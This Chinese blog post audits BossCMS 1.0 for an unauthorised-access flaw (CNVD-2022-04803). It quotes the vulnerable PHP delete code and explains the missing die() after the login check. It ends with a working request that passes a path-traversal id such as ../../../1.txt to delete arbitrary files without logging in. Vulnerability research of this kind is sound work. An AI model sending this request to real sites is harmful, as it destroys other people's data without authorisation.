【代码审计】BossCMS1.0存在未授权访问漏洞

前言

bosscms是温州互引信息技术有限公司开发的一款基于自主研发PHP框架MySQL架构的内容管理系统。

编号:CNVD-2022-04803

漏洞复现

下载版本1.0,安装完成如下:

图片[1]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享

根据漏洞名称我们知道,未授权漏洞

那么我们现在有两种思路:

  1. 后台测试功能点,然后通过无痕模式测试
  2. 通过对比修复版本代码进行比价,获取有问题的地方

这里也是学习到一个小技巧,测试未授权,常规测试点主要是:上传、下载、删除、修改,这种明显的

这里我们就拿删除进行复现

图片[2]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享

通过抓包获取到连接,然后进行重放测试:

存在cookie:

图片[3]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享

未授权状态,删除cookie:

图片[4]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享

虽然提示的首页,但是查看文件目录,文件已经被删除啦

漏洞审计

这里先用文件对比的方式,说一下漏洞产生的原理:

图片[5]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享

通过查看修复版本的代码可以发现,这里多了一个die('login');

原理:以前的代码,当判断到没有登录的时,只是跳转首页,但是后续代码还在执行

现在我们看看这个删除的原理 文件位置:system\admin\safe\backup.class.php

	public function delete()
	{
		global $G;	
		if(isset($G['post']['url']) && isset($G['get']['id'])){
			$del = array();
			$arr = explode(',',$G['get']['id']);
			foreach($arr as $id){
				$file = SYSTEM_PATH.$this->sql.str_replace(P,',',$id);
				if(is_file($file)){
					$del[$id] = $file;
				}
			}
			if($del){
				$error=array();
				foreach($del as $id=>$file){
					if(dir::delete($file)){
						
					}else{
						$error[]=$id;
					}
				}
				if($error){
					alert('文件名为'.implode(',',$error).'删除失败');
				}else{
					alert('删除成功', url::mpf('safe','backup','table',array('id'=>null)));
				}
			}else{
				alert('没有删除对象!');
			}			
		}
		alert('没有提交信息!');
	}
}

这里有个自定义函数 delete:

public static function delete($path){
		$path = self::replace($path);
		if(is_file($path)){
			if(unlink($path)){
				return true;
			}
		}else{
			return self::remove($path);
		}
	}

主要就是一个unlink函数

if(isset($G['post']['url']) && isset($G['get']['id'])){
			$del = array();
			$arr = explode(',',$G['get']['id']);
			foreach($arr as $id){
				$file = SYSTEM_PATH.$this->sql.str_replace(P,',',$id);
				if(is_file($file)){
					$del[$id] = $file;
				}
			}

触发删除函数的条件:isset($G['post']['url']) && isset($G['get']['id'])

其中用get参数传入删除文件地址,post传入跳转地址url即可

http://127.0.0.1/BossCMS-V1.1.0/admin/?mold=safe&part=backup&func=delete&id=../../../1.txt
post 数据:url=1

© 版权声明
THE END
喜欢就支持一下吧
点赞19 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容